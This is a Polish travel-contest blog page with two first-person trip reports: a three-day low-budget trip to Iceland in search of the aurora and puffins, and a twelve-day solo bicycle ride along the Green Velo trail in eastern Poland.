Obraz może zawierać: 3 osoby, ludzie stoją, dziecko, na zewnątrz i przyroda

Obraz może zawierać: 2 osoby

Obraz może zawierać: chmura, niebo, na zewnątrz i przyroda

Obraz może zawierać: co najmniej jedna osoba, dziecko, na zewnątrz, woda i przyroda

Obraz może zawierać: co najmniej jedna osoba i zbliżenie

Obraz może zawierać: 2 osoby, uśmiechnięci ludzie, na zewnątrz i zbliżenie

2019-05-21 0 komentarze/y
0 FacebookTwitterPinterestEmail
PRACE KONKURSOWE ŚWIAT

Islandia w poszukiwaniu zorzy polarnej i Maskonurów

przez Redakcja 2019-05-16
Napisane przez Redakcja
Islandia w poszukiwaniu zorzy polarnej i Maskonurów

Islandia w poszukiwaniu zorzy polarnej i Maskonurów

 Islandia w poszukiwaniu zorzy polarnej i Maskonurów

Patrycja Wawrowska

Zapraszam do fotorelacji z podróży na wyspę Lodu i Ognia 🙂

Garść informacji praktycznych

Podróż na Islandię jest łatwa i przyjemna, co czyni ją dla nas bardzo przystępną. Jest to jeden z łatwiejszych kierunków, i nawet mało doświadczeni podróżnicy dadzą sobie tutaj świetnie radę. Jest to pocieszające, ponieważ Islandia jest jednym z piękniejszych miejsc na Ziemi, a osoby marzące o podróżach do krajów północy mogą przekształcić swoje marzenia w realny plan działania.

Na Islandii bez problemu porozumiemy się w języku angielskim, oraz zadzwonimy do Polski w swoim planie taryfowym nie ponosząc dodatkowych kosztów .Na całej wyspie jest dostępny zasięg, nawet w najbardziej odludnych miejscach. Dodatkowym atutem tego miejsca są sympatyczni i służący pomocą ludzie, którzy nie pozwolą Ci “zginąć” w razie wystąpienia niespodziewanych komplikacji podczas podróży.Ponieważ pogoda na Islandii jest bardzo zmienna, najlepiej ubrać się na cebulkę. Obowiązkowe są ciepłe i grube skarpety, plus woreczki foliowe które możemy dodatkowo założyć na stopy. Takie rozwiązanie uchroni przed przemoknięciem butów.Czapka, najlepiej taka która zasłoni także uszy tzw.uszatka, rękawiczki, szalik, płaszcz przeciwdeszczowy. Ja zdecydowałam się na krótką bo trzydniową samotną podróż do Islandii. Wyjazd zaczęłam planować z półrocznym wyprzedzeniem, dlatego udało mi się kupić bilety w okazyjnie niskiej cenie 146 zł w obie strony w tanich liniach lotniczych Wizz Air (*z kartą WDC- jest to program lojalnościowy Wizz Air, umożliwiający zakup biletów w niższej cenie)

Ponieważ nastawiłam się na niskokosztowy wyjazd, jedzenie zapakowałam do plecaka .Konserwy, chleb, zupki w proszku, kisiele i budynie,ciastka, okazały się strzałem w dziesiątkę ponieważ ceny żywności na Islandii są bardzo wysokie. Za całą trzydniową podróż , wliczając w to lot w obie strony,nocleg, wypożyczenie auta, i paliwo zapłaciłam ok 650 zł.

Dzień 1

Wylot z Poznania. Przylot do Portu Lotniczego Keflavik. Lot przebiegał spokojnie i trwał ok 2,5 godziny .Na Islandii jest różnica czasowa w stosunku do Polski, wynosząca -1 h. Gdy wylądowałam na Islandii przywitał mnie chłodny powiew wiatru, i zachwycające otwarte przestrzenie. Nie byłam do końca pewna, czy aby na pewno znajduję się na Ziemi, bowiem otaczający mnie krajobraz swoim wyglądem przypominał mi bardziej Księżyc niż znane mi dotąd lądy 🙂

Kiedy opuściłam bramki lotniska swoje kroki skierowałam ku wypożyczalni aut. Na Islandii komunikacja miejska praktycznie nie istnieje, dlatego wypożyczenie samochodu jest warunkiem koniecznym, by móc się swobodnie poruszać na wyspie. Wypożyczalnia, znajduję się kawałek drogi od lotniska, ale bez problemu można tam dotrzeć specjalnie oznaczonym bezpłatnym autobusem który kursuje spod lotniska, pod budynki w których znajdują się różne wypożyczalnie.Ważne by przed wypożyczeniem samochodu, obejrzeć dokładnie pojazd i wykonać zdjęciową dokumentację wszelkich widocznych wad.

Jest to niezwykle ważne, by uniknąć niepotrzebnych posądzeń o uszkodzenia samochodu , i nie narażać się na dodatkowe koszty. Niektóre wypożyczalnie stosują nieuczciwe praktyki, i obciążają swoich klientów kosztami za zniszczenia których nie dokonali, dlatego warto zadbać o swój komfort, i wykonać zdjęcia.
Po wypożyczeniu auta pojechałam do miasteczka Hofn znajdującego się w południowo-wschodniej części wyspy.Tutaj znajdował się mój nocleg. Domek okazał się jeszcze piękniejszy niż na zdjęciach, a właściciele byli przemili. Chatynka do której trafiłam, była bardzo ciepła, mieściła się na wybrzeżach Oceanu Atlantyckiego i była urządzona w typowym skandynawskim stylu.. Nocleg zarezerwowałam na stronie Airnb za przysłowiowe grosze. Właściciele dopiero zaczynali swoją przygodę z serwisem, dlatego cena była bardzo niska ponieważ zależało im na budowaniu swojej pozycji na portalu.

Po krótkim odpoczynku, wybrałam się na mały spacer wokół Domku 🙂 W okolicy stały maszyny rolnicze, a ja zastanawiałam się jak może tutaj wyglądać rolnictwo, i czy w ogóle jest to możliwe ??

Mój widok z Okna pokoju 🙂

 

1

 

2

 

 

Dzień 2

Na Islandii istnieje jedna droga krajowa, więc nie sposób się tutaj zgubić 🙂 W kolejnym dniu swojego pobytu zaplanowałam przejechanie zachodniej części wyspy, łącznie 379 km a mój plan wyglądał mniej więcej tak :

HOFN—->ARNASTAPI—>HELLISSANDUR–>PJODVEGUR

 

3

 

Arnastapi to wieś która zachwyciła mnie urokami natury. Majestatycznymi skałami w różnych kształtach , i wygiętą w łuk jaskinią, czystym i świeżym powietrzem znad Oceanu , ciszą przerywaną jedynie przez ptaki i szum wody.. Widoczna na zdjęciu strzałka, prowadzi drewnianą kładką prosto do średniej wielkości wodospadu .których na Islandii jest bardzo wiele. Fale odbijały się o brzeg, a w niedalekiej odległości figlowały sobie dwie nieduże foki 🙂 I to tutaj udało mi się zobaczyć dwa MASKONURY !

4

 

5

FOKI 🙂

Hellissandur zaskoczył mnie piaszczystą plażą, która wyglądała jak jakieś rajskie i egzotyczne wybrzeże , które zdradzał mocny i porwisty wiatr, i niska temperatura. Dawno nie widziałam tak czystego zółtego piasku jak tutaj.

 

6

 

DZIEŃ 3

Zwiedzanie rozpoczęłam od przejazdu trasą Golden Circle, czyli tzw Złotym Kręgiem 🙂 który tworzą najważniejsze atrakcje Islandii -Park Narodowy Thingvellir,, Geysir oraz Wodospad Gullfoss 🙂 Park Narodowy Thingvellir jest wpisany na listę światowego dziedzictwo UNESCO , dodatkowo ma szczególne znaczenie historyczne bowiem tutaj pierwszy raz w 930 roku zebrał się islandzki parlament Althing , znajduję się tu również jeden z najstarszych kościołów na na Islandii , oraz stykają się tu dwie płyty tektoniczne euroazjatycka północnoamerykańska .Aż trudno w to uwierzyć , że w takim miejscu obradował parlament, bo podczas mojej wizyty w tym miejscu wiał silny wiatr, i padał deszcz ,miałam wrażenie że siły natury mnie powalą, ale chwilę później pogoda się uspokoiła i mogłam kontynuować dalsze zwiedzanie 🙂

Kolejnym punktem mojej trasy była dolina HAUKADALUR. Są to obszary geotermalne z licznymi gorącymi źródłami , z gejzerem Geysir i Strokkur na czele. Gejzer Strokkur jest największym czynnym gejzerem na Islandii i wybucha co 5-10 minut, a wysokość słupa wody może osiągnąć nawet 30 metrów 🙂

Niedaleko znajduje się słynny wodospad Gullfoss , który składa się z dwóch kaskad, mniejszej mierzącej 11 m, i większej mającej 21 m. Międzyczasie wstąpiłam do kawiarni, na małe co nieco.Niestety ceny były wysokie, ale skusiłam się na filiżankę kawy która kosztowała dokładnie 10 zł 🙂 Została podana na tłustym mleku, z kryształkami cukru na spodeczku 🙂 Poczułam przypływ energii, i z ciężkim sercem wyruszyłam w drogę powrotną , czując niedosyt .Nie udało mi się zobaczyć wszystkich atrakcji Islandii , i upragnionej zorzy której wypatrywałam każdej nocy 🙂 Polecam każdemu podróż na Islandię.

 

7

8

9

10

11

12

13

14

2019-05-16 0 komentarze/y
0 FacebookTwitterPinterestEmail
PRACE KONKURSOWE POLSKA

W pojedynkę na Green Velo – praca konkursowa

przez Redakcja 2019-05-04
Napisane przez Redakcja
W pojedynkę na Green Velo

W pojedynkę na Green Velo

 W pojedynkę na Green Velo

Monika Rzońca
 
Pomysł jechania szlakiem Green Velo pojawił się bardzo spontanicznie. Wróciliśmy właśnie z mężem z podróży po Kirgistanie, on musiał wracać do pracy a ja miałam jeszcze trochę wolnego czasu. Nie chciałam siedzeć bezczynnie w domu, na dłuższy wyjazd nie było już szans i przypomniał mi się ten szlak. Kiedy mąż wrócił z pracy i z entuzjazmem podzieliłam się moim pomysłem, jego palec odruchowo zblizył się do czoła, zakreślając na nim kółka :)))
– Przecież ty na co dzień nie jeździsz na rowerze!
– No to właśnie będę miała okazję.
– Będzie ciężko.
– Przecież nie będę jechać w wyścigu! Pojadę tyle, ile będę miała siły.
– A co jak ci pęknie dętka?
– Poproszę kogoś o pomoc albo podjadę do serwisu rowerowego.
– Ale przecież ty nawet nie masz roweru!!!
– No to sobie kupię!

Zaczęło się szybkie przeglądanie sklepów sportowych i ogłoszeń na portalach sprzedażowych i za 2 dni miałam już kupiony, używany rower. Dałam do serwisu na przegląd, dokupiłam bagażnik, pożyczyłam od kolegi sakwy, mąż zrobił mi kurs pompowania kół, zaopatrzył w jakieś narzędzia i zapasowe dętki. Przelądałam w Internecie trasę szlaku, zastanawiając się, skąd ruszyć. Sam szlak ma ponad 2000 km i wiedziałam, że całego nie zdążę przejechać. Zamość wybrałam jako miejsce startu a kierować chcę się na północ. Udało mi się wypatrzeć na jednym z portali internetowych samochód dostawczy, który był w stanie zabrać mnie i rower, jechał z mojego rodzinnego miasta właśnie w okolice Zamościa i pojechałam. Od chwili zakupu roweru minęły 3 dni a ja znalazłam się w Zamościu z całym dobytkiem w sakwach. I co dalej? Z punktu Informacji Turystycznej odebrałam mapę szlaku Green Velo, usiadłam na ławeczce aby się z nią zapoznać. Było już późne popołudnie a ja nawet nie wiedziałam gdzie będę spać tej nocy, więc telefon w rękę i zaczęłam przeglądać oferty noclegu. Nikt nie chciał wynająć pokoju dla jednej osoby na jedną noc, albo był brak miejsc. Przypomniałam sobie, że kiedyś za czasów studenckich były Schroniska Młodzieżowe, z których często korzystaliśmy. I to był strzał w 10! W Zamościu też jest takie schronisko, mieści się w szkole i to całkiem blisko centrum. Cena za nocleg 1/4 tego co wołali za pokój 🙂 Na miejscu jest kuchnia, łazienki z ciepłą woda, czysta pościel. No czego chcieć więcej! Zostawiłam mój rower i wróciłam do centrum aby jeszcze skorzystać z uroków pięknego Zamościa.

1

Dzień 1

Rano szybka pobudka, prysznic, śniadanie i o 7.00 rano wyciągam mój rower przed szkołę. Mam plan trochę się cofnąć szlakiem na południe aby przejechać przez Roztaczański Park Narodowy. Chciałabym dziś dojechać chociaż do Zwierzyńca. Pogoda jest piękna a ja kręcę kilometry na szlaku. Górki są wykańczające i w tych momentach często zsiadam z roweru i prowadzę go. Nie mam żadnego doświadczenia na długich trasach i to jeszcze z obciążeniem, więc po prostu jadę sobie przed siebie, nie zastanawiając się nad tym. Szlak przez Roztaczański Park jest bardzo piękny i przyjazny dla rowerów, mijam kilku cyklistów i pozdrawiamy się radośnie. Kiedy dojeżdżam do Zwierzyńca jest jeszcze dość wcześnie a ja czuję niedosyt jazdy. Sprawdzam na mapie co jest dalej i postanawiam pojechać do Szczebrzeszyna, gdzie jest Schronisko Młodzieżowe i zostać tam na noc. W szkole do której zajeżdżam przebywają dzieci na koloniach, chłopcy żwawo biorą mój
rower i wnoszą mi na piętro. Z indywidualnych turystów jestem tylko ja jedna. Dzieci zapraszają mnie na oglądanie filmu i chwilę spędzam z nimi czas, opowiadają mi o swoich przygodach ale wieczorem zmykam szybko do swojego pokoju.

Dzisiejsza trasa to Zamość –  Józefów –  Zwierzyniec –  Szczebrzeszyn – 77 km.

2

 
3

 
Dzień 2

 
Ruszam chwilę po 7.00 rano. Nie mam planu gdzie chcę dziś dojechać. Po wczorajszym, jak dla mnie, intensywnym dniu, bolą mnie mięśnie. Podjeżdżam na rynek w Szczebrzeszynie, objeżdżam parę razy oglądając miasto i ruszam przed siebie. Dzień jest piękny, humor mi psują tylko psy, które gonią mnie kiedy przejeżdżam przez wsie. Masakra! Pędzę wtedy jak wariatka aż brakuje mi na koniec tchu. Ludzie, których spotykam na drodze sa bardzo mili i przyjaźni, często ucinam sobie z nimi pogawędkę. Czasami częstują mnie jabłkiem albo zapraszają na kompot. Późnym popołudniem dojeżdżam do Krasnystawu i zaczynam szukać noclegu. Wybór pada na Gospodarstwo Agroturystyczne gdzie jest stadnina koni. Miejsce okazuje się fantastyczne. Z jednej strony oaza spokoju a z drugiej mnóstwo zwierząt, którymi opiekują się właściciele. Chodzę, zaglądam do każdej komórki i odkrywam kolejne zwierzaki. Do późna z gospodarzami siedzimy w kuchni i w sympatycznej atmosferze rozmawiamy o życiu.
Dzisiejsza trasa to Szczebrzeszyn – Krasnystaw – 57 km

 
 
4

 
5

 
6

 
7

Dzień 3

Rano idę z właścicielem karmić zwierzęta, konie, kozy, świnki wietnamskie, kury. Mam okazję nauczyć się doić kozę a potem nakarmić z butelki maleńkie sarenki. Jestem zachwycona, nawet nie chce mi się jechać dalej. Po 11.00 zbieram się dopiero na szlak. Za namową gospodarzy zbaczam ze szlaku i jadę do wsi obok, gdzie kupuję sery wyrabiane na miejscu. Pycha! Jest dziś straszny upał, Pani w przydrożnym sklepie informuje mnie, że jest 41 stopni! Faktycznie, ciężko się dziś jedzie, jest gorąco ale nie zdawałam sobie sprawy, że aż tak! Droga prowadzi przez pola i lasy, często muszę schodzić z roweru i go ciągnąć przez piach. Jestem wykończona i drogą i upałem. Kiedy zbliżam się do miasta Chełm postanawiam zakończyć na dziś jazdę. Szybko i bezproblemowo znajduję nocleg w Domu Pielgrzyma w Sanktuarium, który prowadzą siostry. Jest pusto, zero turystów. Szybki prysznic i pędzę do centrum. Dziś jest 1 sierpnia i o godzinie 17.00 chciałabym być z ludźmi. Na rynku zbierają się już grupki z flagami a kiedy wybija godzina W, wyją syreny i wszyscy przechodnie przystają, a ci co siedzieli w pobliskich kawiarenkach lub na ławeczkach, wstają. Później następuje wspólne odśpiewanie hymnu, złożenie kwiatów pod pomnikiem. Po wszystkim zwiedzam jeszcze Chełm, snuję się uliczkami, idę na kolację a potem wracam do Domu Pielgrzyma. Chociaż dzisiaj nie przejechałam za wiele to jestem wykończona!

Dzisiejsza trasa to Krasnystaw – Chełm – 46 km

 
 
8

 
9

 
10

Dzień 4

Wczesna pobudka i jestem na trasie. Szlak Green Velo ze względu na ciągłość, jednolite oznaczenie jest dla mnie idealny. Trudno się zgubić i jedzie się cały czas przed siebie. Czasem robię małe odbicia ze szlaku aby zobaczyć jakąś atrakcję i znów szybki powrót na Green Velo. Poza tym położenie szlaku jest bardzo urokliwe. Stwierdziłam, że nie znam za bardzo tych terenów Polski i są one dla mnie wielkim odkryciem. Zakochałam się w babce ziemniaczanej i kartaczach, które teraz na zmianę zamawiam jak chcę coś zjeść. Mijani ludzie, kiedy przejeżdżam przez ich wsie rowerem, mówią mi &quot;dzień dobry&quot;, choć mnie nie znają i zaraz pewnie zapomną, że mnie widzieli, ale tak tu jest. Kiedy kupuję w sklepie wodę to nie kończy się to szybkim zakupem i &quot;do widzenia&quot; ale często krótszą lub dłużsżą pogawędką na ławce przed sklepem. Nie mam założeń kilometrowych ani czasowych na dany dzień, więc chętnie przystaję i rozmawiam. Zresztą mam chyba jakiś syndrom odstawienia od codziennego gadania bo kiedy widzę, że ktoś siedzi w MOR (Miejsce Obsługi Rowerzystów) to nawet jak nie jestem jeszcze zmęczona, zjeżdżam do niego, żeby sobie chwilę porozmawiać. Po drodze mijam Obóz w Sobiborze, skręcam tam i zostaję jakiś czas aby zwiedzić pozostałości po miejscu zagłady. Późnym popołudniem dojeżdżam do Włodawy i śpię w Schronisku Młodzieżowym, które mieści się w internacie szkół. Panie już na mnie czekały bo mąż korzystając z chwili wolnego w ciągu dnia, obdzwonił kilka miejsc i już mnie tam zapowiedział. To pozwoliło mi na beztroskie kręcenie kilometrów dalej i nie marnowanie czasu na szukanie noclegu. Super! Mam jeszcze czas na szybkie zwiedzanie najważniejszych zabytków Włodawy! W schronisku jestem jedynym gościem i nikt z obsługi nie zostaje na noc. Dostaję klucz i mam się na noc zamknąć od wewnątz. Dziwnie się z tym czuję. Chodzę między piętrami, kuchnią, łazienką, pokojem i nasłuchuję. Niesie się echo pustymi korytarzami, coś tam skrzypnęło, nie ma zasłon i każdy z ulicy może zajrzeć, że siedzę tu sama. Zjadam kolację i szybko idę spać.
Dzisiejsza trasa to Chełm – Włodawa – 72 km

 
 
11

 
12

Dzień 5

Szybko wczoraj poszłam spać to wcześnie wstałam i przed 7.00 już jadę. Kolejny dzień bez żadnych założeń. Jadę sobie przed siebie, podziwiam widoki, witam się i pozdrawiam ludzi i rozkoszuję piękną pogodą. Słońce mi sprzyja i cieszę się tym. Ciśnienie mi rośnie tylko przy psach, które próbują dorwać się do moich nóg. Czasem jak jadę przez las, jakiś zwierz zaszeleści obok, czasem na polach niespodziewanie bociany wzbijają się nad głową. Jak długo nie ma oznaczenia szlaku przychodzą chwilę zwątpienia: czy się nie zgubiłam, czy dobrze jadę? Jak się jedzie samemu, te odczucia się potęgują. Dzień mija szybko i mam zamiar spać w miejscowości Nekle, na mapie jest tam zaznaczone Schronisko Młodzieżowe ale kiedy tam podjeżdżam, okazuje się, że już od 3 lat nieczynne. Jadę więc dalej a ponieważ jestem przy samej granicy, mój telefon przełącza się na białoruską sieć i nie działa. Nie mam możliwości sprawdzić przez Internet jakie są w okolicy noclegi. Kiedy mijam rowerzystę z naprzeciwka i mówi, że w najbliższej miejscowości widział tabliczkę, &quot;wolne pokoje&quot; odddycham z ulgą a kiedy tam dojeżdżam mój licznik właśnie wskazuje 100 km! Właściciel sklepu prowadzi mnie do pokoju na poddaszu. Jest tam bardzo przytulnie. Jestem jedynym gościem i mam do dyspozycji jeszcze spory taras. Biorę prysznic i schodzę na zakupy. Mam świeże jajka, warzywa, mleko od krowy. Wieczór spędzam na tarasie nasłuchując odgłosów wsi i świerszczy. Łapię w końcu zasięg i melduję się mężowi, że wszystko u mnie ok.
Dzisiejsza trasa to Włodawa – Bohukały – 100 km

 
 
13

 
14

Dzień 6

Wyspałam się wyśmienicie! Robię sobie jajecznicę na masełku i po śniadaniu ruszam dalej przed siebie. Czuję w mięśniach, że wczoraj dałam sobie niezły wycisk a dziś w dodatku mam wciąż pod górkę i pod wiatr. W dodatku co chwilę, przez mijane wsie, widzę w polu jakieś artystyczne instalacje. Zsiadam raz po raz z roweru, żeby się przyjrzeć, zrobić zdjęcie i na nowo muszę się rozpędzać. Kiedy dojeżdżam do zakola rzeki Bug, postanawiam zjechać na punkt widokowy i chwilę tam odpocząć. Następnie czeka mnie przeprawa promem przez rzekę, który akurat ma godzinną przerwę. Czekam więc na brzegu, gdzie zbiera się sporo ludzi, miejscowych i turystów a kiedy prom zaczyna kursować to aż żal, że to już! Atmosfera zrobiła się tak fantastyczna, że żegnamy się wszyscy ściskając serdecznie. No i jestem na Podlasiu. Podjeżdżam od razu do  Informacji Turystycznej po kolejne mapy szlaku Green Velo na ten rejon. Mam szczęście, została ostatnia i trafia w moje ręce. Kiedy dojeżdżam do miejscowości przed Grabarką mam już dość. Siadam na ławeczce przed maleńkim sklepem z zamiarem chwili odpoczynku a panowie zagadują mnie. Po chwili rozmawiamy jak starzy znajomi i jest bardzo wesoło. Panowie doradzają mi nocleg w Klasztorze na Górze Grabarce, gdzie siostry powinny mnie przyjąć. Czeka mnie ostatnie 5 km przez las. Ostatkiem sił jadę tam ale niestety nie ma miejsc na dzisiejszą noc i odsyłają mnie do popa, który mieszka niedaleko. Zwiedzam najpierw klasztor i ruszam w dół, do wsi. Żona popa już wie, że ma ktoś przyjechać i wychodzi na drogę abym łatwiej trafiła. Za chwilę siedzę już przy stole a ona nakłada mi przepyszne wędliny, które sama robi. Potem jeszcze lody domowej roboty. Kiedy już nie jestem w stanie nic w siebie wcisnąć, siadam na ganku w wygodnym fotelu i ucinam sobie pogawędkę z mamą gospodyni, a na moich nogach układa się pies. Słucham opowieści o czasach wojennych i powojennych, o Żołnierzach Wyklętych i o Żydach mieszkających na tych terenach przed wojną. Z oddali niesie się piękny śpiew kilkunastu kobiet, które śpiewają tradycyjne białoruskie pieśni a słońce dziś wyjątkowo pięknie zachodzi.
Dzisiejsza trasa to Bohukały – Grabarka – 66 km

 
 
15
 
16
 
17
 
18
 
19
 
20
 
21
 
22

Dzień 7

Kiedy rano wstaję, śniadanie już na mnie czeka. Zajadam się smakołykami i ruszam dalej. Żona popa odradza mi jazdę szlakiem Green Velo, twierdzi, że szlak na odcinku za Grabarką został źle przygotowany i urwę sobie koło albo ktoś mnie tam napadnie. Kiedy wyjeżdżam od nich wychodzi za mną na drogę i pilnuje, abym nie skręciła na Green Velo tylko jechała główną asfaltową drogą. Ma w sobie coś takiego, że ja, stara baba, boję się sprzeciwić jej na głos, tylko macham wesoło na pożegnanie ręką i ruszam a kiedy odwracam się i widzę, że już poszła do domu, szybko zawracam i skręcam na Green Velo. I jeszcze mam wyrzuty sumienia, że jej nie posłuchałam. Te wyrzuty sumienia zamieniają się w bezradność jak jadę tym odcinkiem. Faktycznie, kobieta miała rację, ten kawałek jest beznadziejny i dużo muszę prowadzić rower zamiast jechać. Ale chciałam jechać szlakiem więc jadę. Jest okres żniw i z wielkim zainteresowaniem lubie patrzeć na pracę w polu. Często ludzie do mnie machają, wołają a zdarza się nawet, że proponują mi kawą w termosie, kawałek ciasta czy jakiś owoc. Jestem dziś umówiona z mężem, że to on będzie dzwonić w sprawie noclegu ale robi się problem, bo na mojej drodze nigdzie nie ma nic wolnego. Dzwoni do mnie, że od 2 godzin próbuje coś znaleźć i albo nikt mnie nie chce na jedną noc albo brak miejsc. No tak, jest weekend. Jadę więc przed siebie bo i tak nie mam wyjścia. Późnym popołudniem mąż znajduje mi nocleg w Białowieży, pod warunkiem, że zostanę na 2 noce. Ok. Może to dobry pomysł, przynajmniej sobie trochę odpocznę. Kiedy podjeżdżam pod wskazany dom, czeka na mnie już przemiła starsza pani i przytulny pokój.
Dzisiejsza trasa to Grabarka – Białowieża – 99 km

 
 
23

 
24

Dzień 8

Dziś dzień odpoczynku ale i tak wsiadam na rower. Zwiedzam Białowieski Park Narodowy, Rezerwat Pokazowy Żubrów, Muzeum Przyrodniczo – Leśne, miasteczko i okolice. Zajadam lokalne przysmaki i nabieram sił na kolejne dni jazdy. Rano robię też solidne pranie bo pogoda cały czas jest ładna więc mam pewność, że wszystko mi wyschnie do wieczora.

 
 
25

 
26

Dzień 9

Trochę mi się już wczoraj dłużył dzień i dziś z ochotą wsiadam na rower i ruszam dalej. Bardzo długo jadę sama lasem, jest wcześnie rano i na drodze z daleka widzę ogromnego jelenia. Zbliżam się, a on stoi i patrzy. Myślałam, że ucieknie, wypłoszy się, ale on stał. Dystans się skracał, więc zwolniłam, później już zeszłam z roweru, byłam dość blisko więc stanęłam i też patrzyłam. To chwilę trwało, staliśmy tak jakiś czas w bezruchu, a ja nie wiedziałam jak się zachować. Po jakimś czasie jeleń powolutku i dostojnie poszedł w las robiąc mi miejsce na drodze, a ja pojechałam dalej, co jakiś czas oglądając się za siebie. Uświadomia mi to, jak mało wiem, jak należy się zachować przy spotkaniu z dzikimi zwierzętami w polskich lasach. Dzień minął spokojnie, cały czas jechałam, rozmawiałam z miajanymi ludźmi, pogoda dopisywała, W czasie jednego postoju, w MOR, poznałam przemiłego Pana, który jest białoruskim poetą. Ucinamy sobie dłuższą pogawędkę. Postanawiam zatrzymać się na noc w miejscowości Waliły Stacja. Znalazłam nocleg w domku położonym w ogrodzie, mam do dyspozycji 2 pokoje, kuchnię i ubikację, łazienka jest na zewnątrz. Muszę się szybko ogarnąć bo jak zapadnie ciemność to będę się sama bała tam pójść. Widziałam w ogrodzie mnóstwo pająków a to jest coś co mnie zawsze przerasta.
Dzisiejsza trasa to Białowieża – Waliły Stacja – 91 km

 
 
27

 
28

Dzień 10

Noc była koszmarna. Kiedy zgasiłam światło to usłyszałam jak zaczynają harcować myszy. Wystraszyłam się, zapaliłam ponownie światło i zobaczyłam, że nad moim łóżkiem pojawił się wielki pająk więc ostatecznie spałam przy zapalonym świetle ale pod kołdrą, ze strachu przed pająkiem i było mi strasznie gorąco. Jak tylko zaczęło świtać wstałam, szybki prysznic, śniadanie i uciekłam na szlak. Poranek był jeszcze rześki i bardzo przyjemnie się jechało. W Supraślu robię sobie dłuższy postój bo miasto jest tak urocze, że ciężko mi z niego wyjechać. Kręcę się po uliczkach, zaglądam w różne zakamarki, zostaję na kawę i przeglądam mapy. Już od jakiegoś czasu mam myśl, żeby dojechać szlakiem do Suwałk i tam zakończyć trasę. Muszę za kika dni być w domu bo jadę na spotkanie rodzinne więc trzeba zacząć planować, gdzie chcę zakończyć jechać, i skąd będzie w miarę łatwo dojechać pociągiem z rowerem do Bydgoszczy. Postanawiam trochę przeciąć szlak i dojechać dziś do Moniek. Jest tam Schronisko Młodzieżowe i kiedy dojeżdżam okazuje się, że jestem jedynym gościem. Kolejny raz dostaję klucze od głównych drzwi ale na szczęście to schronisko jest małe i przytulne więc nie mam żadnych obaw, aby samej spędzić tu noc.
Dzisiejsza trasa to Waliły Stacja – Supraśl – Mońki – 89 km

 
 
29

 
30

Dzień 11

Ruszam jak zawsze z samego rana. Kieruję się na Goniądz bo tam wrcam na szlak Green Velo. Jadę przez maleńkie wsie za wskazówkami, jakie podesłał mi mąż, i uważam żeby nie zjechać i nie zgubić się. Droga jest dość męcząca, wciąż jakieś kamloty, kocie łby, górki i piachy. Ale kiedy już dojeżdżam do oznaczeń szlaku dostaję wiatr w plecy i jadę spokojnie dalej. Od kilku dni rowerzyści, którzy jadą z naprzeciwka ostrzegają mnie, że wylała Biebrza i nie ma przejazdu. Faktycznie w Biebrzańskim Parku Narodowym wszystkie samochody są zawracane ale woda już trochę opadła i rowerzyści jak chcą mogą jechać. Droga jest cała zalana, nawet nie próbuję jechać  tylko zsiadam i prowadzę rower. Czasem wody jest po kostki a czasem prawie do kolan i tak przez kilka kilometrów. Po drodze robię jeszcze kilka odbić ze szlaku aby zobaczyć ciekawostki polecane na mapie. W MOR poznaję grupę rowerzystów, którzy jadą w tę samą stronę i jedziemy kawałek trasy razem a potem idziemy do przydrożnego baru. Wieczorem dojeżdżam do Augustowa. Zatrzymuję się w Schronisku Młodzieżowym i lecę jeszcze szybko do miasta zobaczyć jak wygląda.
Dzisiejsza trasa to Mońki – Goniądz – Augustów – 90 km

 
 
31

 
32

 
33

Dzień 12

Rano biegnę na przystań i płynę pierwszym rejsem po Dolinie Rospudy. W trakcie rejsu rozpętuje się wielka ulewa i w sumie mało co widać przez szybki. No trudno. Wracam do pokoju i jak tylko przestaje padać ruszam dalej. Dzień zaczyna się rześko ale szybko wychodzi słońce i robi się upalnie. Jadę przed siebie szlakiem, robię przystanki w MOR i późnym popołudniem dojeżdżam do Suwałk. Tu chciałam zakończyć trasę ale sama się dziwię, że to już? Za szybko! Najchętniej ruszyłabym dalej ale obiecałam wracać więc muszę na tym zakonczyć, choć czuję wielki niedosyt. Podjeżdżam na stację PKP aby tylko sprawdzić jakie mam możliwości dojazdu do domu. Na peronie stoi jakiś pociąg i po chwili okazuje się, że jest częścią całkiem przyzwoitego połączenia z Bydgoszczą. Nawet się nie zastanawiam tylko kupuję bilet i ruszam. Z sakwy wyciągam ostatnie czyste rzeczy i idę do łazienki umyć się i przebrać. Nawet nie zdążyłam ochłonąć po całodziennej jeździe rowerem a już wracam do domu.
Dzisiejsza trasa to Augustów – Suwałki – 72 km

 
34

 
35

 
36

W pociągu powoli opadają moje emocje. Łącznie przejechałam sama 859 km szlakiem Green Velo. choć na co dzień nie jeżdżę rowerem. Na szczęście nie miałam żadnej awarii, nie pękła mi dętka, nie spadł łańcuch a kilku panów spotkanych w MOR, ochoczo przeglądało mój rower, dopompowali koła, podciągali jakieś linki i dawali dobre rady. Moim celem była sama jazda rowerem przez Polskę i cieszenie się widokami po drodze, poznawanie nowych smaków oraz nowych ludzi. Ten cel osiągnęłam i nie ma tu znaczenia ile dni jechałam i ile kilometrów przejechałam Miałam szczęście do pogody i przez cały czas towarzyszyło mi piękne słońce. Wszystkie dni składają się na całość, którą bardzo miło wspominam. Reakcje mijanych osób były bardzo pozytywne, choć najczęściej zadawane pytanie brzmiało czy nie boję się jechać sama? Ale ja nie czułam się sama. Nie trzeba wielkich słów, czasem nawet żadnych, żeby złapać dobry kontakt z miejscowymi. Często wystarczy uśmiech i pozytywne nastawienie. Jestem bardzo ciekawa ludzi i te momenty na trasie, kiedy miałam okazję pobyć czy porozmawiać z mijanymi osobami były dla mnie najciekawsze i najbardziej wartościowe. Bardzo ważne, że nie miałam ani jednej przykrej sytuacji, wszędzie spotykałam się z życzliwością i wielką sympatią mijanych osób. Wyjazd był bardzo spontaniczny, ale najważniejsze jest pozytywne nastawienie i wiara, że nie ma dla nas rzeczy niemożliwych!

 
Z mojego wyjazdu powstał krótki filmik, na który zapraszam serdecznie.

https://www.youtube.com/watch?v=l-6udwQkEW0
 
 
 
Wspomnienia z Podróży – Polska
 
2 miejsce
Namiot Rockland 1-os. SOLOIST NEW
 
 
RAVEN

